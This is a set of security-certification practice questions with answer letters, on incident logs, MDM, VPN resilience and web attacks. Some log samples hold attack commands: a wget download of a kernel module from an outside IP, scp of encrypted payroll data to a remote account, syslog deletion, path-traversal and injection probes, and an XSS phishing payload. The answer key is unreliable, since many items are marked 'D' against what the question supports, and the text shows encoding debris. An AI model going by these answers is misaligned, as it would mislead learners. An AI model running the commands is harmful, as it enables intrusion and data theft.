A security administrator was informed that a server unexpectedly rebooted. The administrator received an export of syslog entries for analysis: May 4 08:08:00 Server A: on console user jsmith: exec 'ls -l /data/finance/payroll/*.xls' May 4 08:08:00 Server A: on console user jsmith: Access denied on /data/finance/ May 4 08:08:07 Server A: on console user jsmith: exec 'whoami' May 4 08:08:10 Server A: on console user jsmith: exec 'wget 5.5.5.5/modinject.o -O /tmp/downloads/modinject.o' May 4 08:08:20 Server A: on console user jsmith: exec 'insmod /tmp/downloads/modinject.o' May 4 08:08:00 Server A: on console user root: exec 'whoami' May 4 08:09:37 Server A: on console user root: exec 'ls -l /data/finance/payroll/*.xls' May 4 08:09:43 Server A: on console user root: exec 'gpg -e /data/finance/payroll/gl-May2017.xls' May 4 08:09:55 Server A: on console user root: exec 'scp /data/finance /payroll/gl-May2017.gpg [email protected]:' May 4 08:10:03 Server A: on console user root: exec 'rm -rf /var/log/syslog' May 4 08:10:05 Server A: on console user jsmith: exec 'rmmod modinject.o' May 4 08:10:05 Server A: kernel: PANIC 'unable to handle paging request at 0x45A800c' May 4 08:10:05 Server A: kernel: Automatic reboot initiated May 4 08:10:06 Server A: kernel: Syncing disks May 4 08:10:06 Server A: kernel: Reboot May 4 08:12:25 Server A: kernel: System init May 4 08:12:25 Server A: kernel: Configured console by console May 4 08:12:42 Server A: kernel: Logging initialized (build:5.8.0.2469) May 4 08:13:34 Server A: kernel: System changed state to up May 4 08:14:23 Server A: kernel: System startup succeeded Which of the following does the log sample indicate? (Choose two) A. A root user performed an injection attack via kernel module B. Encrypted payroll data was successfully decrypted by the attacker C. Jsmith successfully used a privilege escalation attack D. Payroll data was exfiltrated to an attacker-controlled host E. Buffer overflow in memory paging caused a kernel panic F. Syslog entries were lost due to the host being rebooted

CE

A company is acquiring incident response and forensic assistance from a managed security service provider in the event of a data breach. The company has selected a partner and must now provide required documents to be reviewed and evaluated. Which of the following documents would BEST protect the company and ensure timely assistance? (Choose two.) A. RA B. BIA C. NDA D. RFI E. RFQ F. MSA

CF

Collection of organizations in the same industry vertical developing services based on a common application stack.

Community cloud with PaaS

A Chief Information Officer (CIO) publicly announces the implementation of a new financial system. As part of a security assessment that includes a social engineering task, which of the following tasks should be conducted to demonstrate the BEST means to gain information to use for a report on social vulnerability details about the financial system? A. Call the CIO and ask for an interview, posing as a job seeker interested in an open position B. Compromise the email server to obtain a list of attendees who responded to the invitation who is on the IT staff C. Notify the CIO that, through observation at events, malicious actors can identify individuals to befriend D. Understand the CIO is a social drinker, and find the means to befriend the CIO at establishments the CIO frequents

D

A SaaS-based email service provider often receives reports from legitimate customers that their IP netblocks are on blacklists and they cannot send email. The SaaS has confirmed that affected customers typically have IP addresses within broader network ranges and some abusive customers within the same IP ranges may have performed spam campaigns. Which of the following actions should the SaaS provider perform to minimize legitimate customer impact? A. Inform the customer that the service provider does not have any control over third-party blacklist entries. The customer should reach out to the blacklist operator directly B. Perform a takedown of any customer accounts that have entries on email blacklists because this is a strong indicator of hostile behavior C. Work with the legal department and threaten legal action against the blacklist operator if the netblocks are not removed because this is affecting legitimate traffic D. Establish relationship with a blacklist operators so broad entries can be replaced with more granular entries and incorrect entries can be quickly pruned

D

A network engineer is attempting to design-in resiliency characteristics for an enterprise network's VPN services. If the engineer wants to help ensure some resilience against zero-day vulnerabilities exploited against the VPN implementation, which of the following decisions would BEST support this objective? A. Implement a reverse proxy for VPN traffic that is defended and monitored by the organization's SOC with near-real-time alerting to administrators. B. Subscribe to a managed service provider capable of supporting the mitigation of advanced DDoS attacks on the enterprise's pool of VPN concentrators. C. Distribute the VPN concentrators across multiple systems at different physical sites to ensure some backup services are available in the event of primary site loss. D. Employ a second VPN layer concurrently where the other layer's cryptographic implementation is sourced from a different vendor.

D

A newly hired systems administrator is trying to connect a new and fully updated, but very customized, Android device to access corporate resources. However, the MDM enrollment process continually fails. The administrator asks a security team member to look into the issue. Which of the following is the MOST likely reason the MDM is not allowing enrollment? A. The OS version is not compatible B. The OEM is prohibited C. The device does not support FDE D. The device is rooted

D

A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet: C:\>nslookup -querytype=MX comptia.org Server: Unknown Address: 198.51.100.45 comptia.org MX preference=10, mail exchanger = 92.68.102.33 comptia.org MX preference=20, mail exchanger = exchg1.comptia.org exchg1.comptia.org Internet address = 192.168.102.67 Which of the following should the penetration tester conclude about the command output? A. The public/private views on the Comptia.org DNS servers are misconfigured B. Comptia.org is running an older mail server, which may be vulnerable to exploits C. The DNS SPF records have not been updated for Comptia.org D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack

D

A security analyst sees some suspicious entries in a log file from a web server website, which has a form that allows customers to leave feedback on the company's products. The analyst believes a malicious actor is scanning the web form. To know which security controls to put in place, the analyst first needs to determine the type of activity occurring to design a control. Given the log below: TIMESTAMP SOURCEIP CUST CONTACT PROD COMMENTS 10:00:04 10.14.34.55 aaaaa Phone Widget1 Noneleft 10:00:04 10.14.34.55 bbbbb Phone Widget1 Noneleft 10:00:05 10.14.34.55 cccc Phone Widget1 ../../etc/passwd 10:01:03 10.14.34.55 ddddd Phone Widget1 Noneleft 10:01:04 10.14.34.55 eeeee Phone Widget1 Noneleft 10:01:05 10.14.34.55 fffff Phone Widget1 1=1 10:03:05 10.14.34.55 Joe Phone Widget1 Love the Widget! 10:04:01 10.14.34.55 ggggg Phone Widget1 script 10:05:05 10.14.34.55 hhhhh Phone Widget1 wget cookie 10:05:05 10.14.34.55 iiiii Phone Widget1 Noneleft 10:05:06 10.14.34.55 jjjjjj Phone Widget1 Noneleft Which of the following is the MOST likely type of activity occurring? A. SQL injection B. XSS scanning C. Fuzzing D. Brute forcing

D

A security controls assessor intends to perform a holistic configuration compliance test of networked assets. The assessor has been handed a package of definitions provided in XML format, and many of the files have two common tags within them: "<object object_ref=ג€¦ /"" and "<state state_ref="". Which of the following tools BEST supports the use of these definitions? A. HTTP interceptor B. Static code analyzer C. SCAP scanner D. XML fuzzer

D

A security incident responder discovers an attacker has gained access to a network and has overwritten key system files with backdoor software. The server was reimaged and patched offline. Which of the following tools should be implemented to detect similar attacks? A. Vulnerability scanner B. TPM C. Host-based firewall D. File integrity monitor E. NIPS

D

A software development manager is running a project using agile development methods. The company cybersecurity engineer has noticed a high number of vulnerabilities have been making it into production code on the project. Which of the following methods could be used in addition to an integrated development environment to reduce the severity of the issue? A. Conduct a penetration test on each function as it is developed B. Develop a set of basic checks for common coding errors C. Adopt a waterfall method of software development D. Implement unit tests that incorporate static code analyzers

D

A software development team has spent the last 18 months developing a new web-based front-end that will allow clients to check the status of their orders as they proceed through manufacturing. The marketing team schedules a launch party to present the new application to the client base in two weeks. Before the launch, the security team discovers numerous flaws that may introduce dangerous vulnerabilities, allowing direct access to a database used by manufacturing. The development team did not plan to remediate these vulnerabilities during development. Which of the following SDLC best practices should the development team have followed? A. Implementing regression testing B. Completing user acceptance testing C. Verifying system design documentation D. Using a SRTM

D

A systems administrator at a medical imaging company discovers protected health information (PHI) on a general-purpose file server. Which of the following steps should the administrator take NEXT? A. Isolate all of the PHI on its own VLAN and keep it segregated at Layer 2 B. Immediately encrypt all PHI with AES-256 C. Delete all PHI from the network until the legal department is consulted D. Consult the legal department to determine legal requirements

D

After investigating virus outbreaks that have cost the company $1000 per incident, the company's Chief Information Security Officer (CISO) has been researching new antivirus software solutions to use and be fully supported for the next two years. The CISO has narrowed down the potential solutions to four candidates that meet all the company's performance and capability requirements: PRODUCTS COST YR 1 YR 2 INCIDENTS/YR Product A $10,000 $3k $1k 1 Product B $14,250 $1k $1k 0 Product C $9,500 $2k $2k 1 Product D $7,000 $1k $2k 2 Product E $7,000 $4k $4k 0 Using the table above, which of the following would be the BEST business-driven choice among the five possible solutions? A. Product A B. Product B C. Product C D. Product D E. Product E

D

An agency has implemented a data retention policy that requires tagging data according to type before storing it in the data repository. The policy requires all business emails be automatically deleted after two years. During an open records investigation, information was found on an employee's work computer concerning a conversation that occurred three years prior and proved damaging to the agency's reputation. Which of the following MOST likely caused the data leak? A. The employee manually changed the email client retention settings to prevent deletion of emails B. The file that contained the damaging information was mistagged and retained on the server for longer than it should have been C. The email was encrypted and an exception was put in place via the data classification application D. The employee saved a file on the computer's hard drive that contained archives of emails, which were more than two years old

D

An information security officer is responsible for one secure network and one office network. Recent intelligence suggests there is an opportunity for attackers to gain access to the secure network due to similar login credentials across networks. To determine the users who should change their information, the information security officer uses a tool to scan a file with hashed values on both networks and receives the following data: CorporateNetwork Password SecureNetwork Password james.bond asHU8$1bg jbond asHU8$1bg tom.jones wit4njyt%! tom.jones wit4njyt%! dade.murphy mUrpHTIME7 d.murph3 t%w38T9)n herbie.hancock hh2016!# hhanco hh2016!#2 suzy.smith 1LI*#HFadf ssmith 1LI*#HFadf Which of the following tools was used to gather this information from the hashed values in the file? A. Vulnerability scanner B. Fuzzer C. MD5 generator D. Password cracker E. Protocol analyzer

D

An internal penetration tester was assessing a recruiting page for potential issues before it was pushed to the production website. The penetration tester discovers an issue that must be corrected before the page goes live. The web host administrator collects the log files below and gives them to the development team so improvements can be made to the security design of the website. [00:00:09] "GET /cgi-bin/forum/commentary.pl/noframes/read/209 HTTP/1.1" 200 6863 "http://search.company.com/search/cgi/search.cgi?qs=download=&dom=s&offset=0&hits=10&switch=0&f=us" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0)" [00:00:12] "GET /js/master.js HTTP/1.1" 200 2263 "http://www.company.com/cgi-bin/forum/commentary.pl/noframes/read/209" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hatbar 4.4.7.0)" [00:00:22] "GET /internet/index.html HTTP/1.1" 200 6792 "http://www.company.com/video/streaming/http.html" "Mozilla/5.0 (x11; U; Linux i686; es-ES; rv:1.6) Gecko/20040413 Debian/1.6-5" [00:00:25] "GET /showFile.action?fileName=script alert ("an error has occurred, please send your username and password to [email protected]") /script 200 [00:00:27] "GET /contacts.html HTTP/1.0" 200 4595 "-" "FAST-WebCrawler/2.1-pre2 ([email protected])" [00:00:29] "GET /news/news.html HTTP/1.0" 200 16716 "-" "FAST-WebCrawler/2.1-pre2 ([email protected])" [00:00:29] "GET /download/windows/asctab31.zip HTTP/1.0" 200 1540096 "http://www.company.com/downloads/freeware/webdevelopment/15.html" "Mozilla/4.7 [en[C-SYMPA (Win95; U)" [00:00:30] "GET /pics/wpaper.gif HTTP/1.0" 200 6248 "http://www.comptia.com/asctortf/" "Mozilla/4.05 (Macintosh; I; PPC)" Which of the following types of attack vectors did the penetration tester use? A. SQL injection B. CSRF C. Brute force D. XSS E. TOC/TOU

D

An organization has employed the services of an auditing firm to perform a gap assessment in preparation for an upcoming audit. As part of the gap assessment, the auditor supporting the assessment recommends the organization engage with other industry partners to share information about emerging attacks to organizations in the industry in which the organization functions. Which of the following types of information could be drawn from such participation? A. Threat modeling B. Risk assessment C. Vulnerability data D. Threat intelligence E. Risk metrics F. Exploit frameworks

D

During a security assessment, an organization is advised of inadequate control over network segmentation. The assessor explains that the organization's reliance on VLANs to segment traffic is insufficient to provide segmentation based on regulatory standards. Which of the following should the organization consider implementing along with VLANs to provide a greater level of segmentation? A. Air gaps B. Access control lists C. Spanning tree protocol D. Network virtualization E. Elastic load balancing

D

A security analyst is reviewing the corporate MDM settings and notices some disabled settings, which consequently permit users to download programs from untrusted developers and manually install them. After some conversations, it is confirmed that these settings were disabled to support the internal development of mobile applications. The security analyst is now recommending that developers and testers have a separate device profile allowing this, and that the rest of the organization's users do not have the ability to manually download and install untrusted applications. Which of the following settings should be toggled to achieve the goal? (Choose two.) A. OTA updates B. Remote wiping C. Side loading D. Sandboxing E. Containerization F. Signed applications

EF

Any infrastructure portal will require time-based authentication

OTP

Authentication to cloud-based corporate portals will feature single sign-on

SAML